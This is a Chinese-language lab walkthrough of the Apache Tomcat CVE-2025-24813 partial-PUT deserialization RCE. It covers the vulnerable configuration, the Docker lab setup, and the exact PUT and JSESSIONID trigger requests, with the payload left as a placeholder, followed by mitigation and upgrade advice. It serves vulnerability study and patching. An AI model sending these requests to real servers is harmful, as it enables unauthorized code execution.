Awesome-POC/中间件漏洞/Tomcat 远程代码执行漏洞 CVE-2025-24813.md
2025-03-24 13:40:28 +08:00

7.9 KiB
Raw Blame History

Tomcat 远程代码执行漏洞 CVE-2025-24813

漏洞描述

Apache Tomcat 是一个开源的 Java Servlet 容器和 Web 服务器,支持运行 Java Servlet、JavaServer Pages (JSP) 和其他基于 Java 的 Web 应用程序,广泛用于开发和部署企业级 Web 应用。

该漏洞源于 Tomcat DefaultServlet 处理 partial PUT 请求(基于 Content-Range 头的 HTTP PUT 请求)时的临时文件命名逻辑不安全,导致攻击者可以通过构造特殊的请求路径,访问或写入安全敏感文件。

满足以下条件,攻击者可以访问或修改安全敏感文件:

  1. DefaultServlet 启用了写入权限(默认情况下禁用)。
  2. 服务器启用了 partial PUT默认启用
  3. 该敏感文件存放在允许上传的目录的子路径(攻击者需要能够在该敏感文件目录上级路径使用 partial PUT 上传文件)
  4. 攻击者已知目标敏感文件的路径以及文件名。
  5. 敏感文件是通过 partial PUT 上传的。

满足以下条件攻击者可以远程代码执行RCE

  1. DefaultServlet 启用了写入权限(默认情况下禁用)。
  2. 服务器启用了 partial PUT默认启用
  3. Tomcat 使用了基于文件的 Session 持久化机制(非默认配置,默认为基于内存持久化),且存储位置为默认路径。
  4. 应用程序包含可利用的反序列化漏洞库(如 Commons-Collections 3.x

参考链接:

漏洞影响

11.0.0-M1 ≤ Apache Tomcat ≤ 11.0.2
10.1.0-M1 ≤ Apache Tomcat ≤ 10.1.34
9.0.0.M1 ≤ Apache Tomcat ≤ 9.0.98

环境搭建

Vulhub 执行以下命令启动存在漏洞的 Tomcat 9.0.97 服务器:

docker compose build
docker compose up -d

服务启动后,访问 http://your-ip:8080 即可看到 Tomcat 的示例页面。

漏洞复现

Content-Range 在 Tomcat 的 HTTP PUT 请求中主要用于实现大文件的分块传输。在文件上传未完成的情况下,内容会被临时存储在 Tomcat 的工作目录:$CATALINA_BASE/work/Catalina/localhost/ROOT

当发送不完全的 PUT 请求(使用 Content-RangeTomcat 会将文件路径中的分隔符 (/) 转换为句点 (.),并将文件临时存储在会话存储目录中,例如:访问 /xxxxx/session 会被解析为 .xxxxx.session

该漏洞存在的原因是 Tomcat 中两个关键的错误配置。首先,在 conf/web.xmlDefaultServlet 配置了 readonly=false,允许文件上传:

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

其次,在 conf/context.xmlTomcat 配置了基于文件的 Session 持久化:

<Manager className="org.apache.catalina.session.PersistentManager">
    <Store className="org.apache.catalina.session.FileStore"/>
</Manager>

这两种配置都使用相同的默认存储路径:$CATALINA_BASE/work/Catalina/localhost/ROOT

URLDNS

我们先用 URLDNS gadget 进行测试。发送带有 Content-Range 头的部分 PUT 请求,在临时目录 $CATALINA_BASE/work/Catalina/localhost/ROOT 中写入名为 .deserialize.session 的文件:

PUT /deserialize/session HTTP/1.1
Host: your-ip:8080
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6788.76 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Type: application/data
Content-Length: 1000
Content-Range: bytes 0-1000/1200

YOUR-PAYLOAD-HERE

可以看到,文件 .deserialize.session 已经被写入:

然后,发送另一个带有 JSESSIONID cookie 的请求,触发文件 .deserialize.session 的反序列化:

GET / HTTP/1.1
Host: your-ip:8080
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6788.76 Safari/537.36
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=.deserialize 

URLDNS gadget 被成功反序列化,并发送了 DNS 请求:

CommonsCollectionsK1

回顾一下远程代码执行RCE的利用过程

  1. DefaultServlet 配置了 readonly=false,允许文件上传。
  2. 服务器默认启用了 partial PUT。
  3. Tomcat 配置了基于文件的 Session 持久化,且存储位置为默认路径 $CATALINA_BASE/work/Catalina/localhost/ROOT
  4. 应用程序存在反序列化利用链,在临时目录中写入包含恶意反序列化数据的文件。
  5. 设置 JSESSIONID=.xxxxx 触发漏洞。

我们修改 docker-compose.yml引入 commons-collections-3.2.1

services:
 tomcat:
   build: .
   volumes:
     - ./commons-collections-3.2.1.jar:/usr/local/tomcat/webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.jar
   ports:
    - "8080:8080"

重新启动服务:

docker compose up --force-recreate

java-chains 生成 payload

发送带有 Content-Range 头的部分 PUT 请求,在临时目录 $CATALINA_BASE/work/Catalina/localhost/ROOT 中写入名为 .poc.session 的文件:

PUT /poc/session HTTP/1.1
Host: your-ip:8080
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6788.76 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Type: application/data
Content-Length: 1000
Content-Range: bytes 0-1000/1200

YOUR-PAYLOAD-HERE

可以看到,文件 .poc.session 已经被写入:

GET / HTTP/1.1
Host: your-ip:8080
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6788.76 Safari/537.36
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=.poc

CommonsCollectionsK1 gadget 被成功序列化,执行了 touch /tmp/awesome_poc 命令:

漏洞修复

临时缓解方案

如果暂时无法升级,可以采取以下临时措施降低风险:

  • 禁止 partial PUT在 conf/web.xml 中修改 allowPartialPut 参数为 false并 重启 Tomcat 以使配置生效。
  • 严格控制 DefaultServlet 写入权限:确保 readonly=true禁用所有未经授权的 PUT/DELETE 请求,仅允许可信来源访问受限目录。

通用修补建议

  • 升级至 安全版本 Apache Tomcat ≥ 11.0.3、Apache Tomcat ≥10.1.35、 Apache Tomcat ≥ 9.0.99。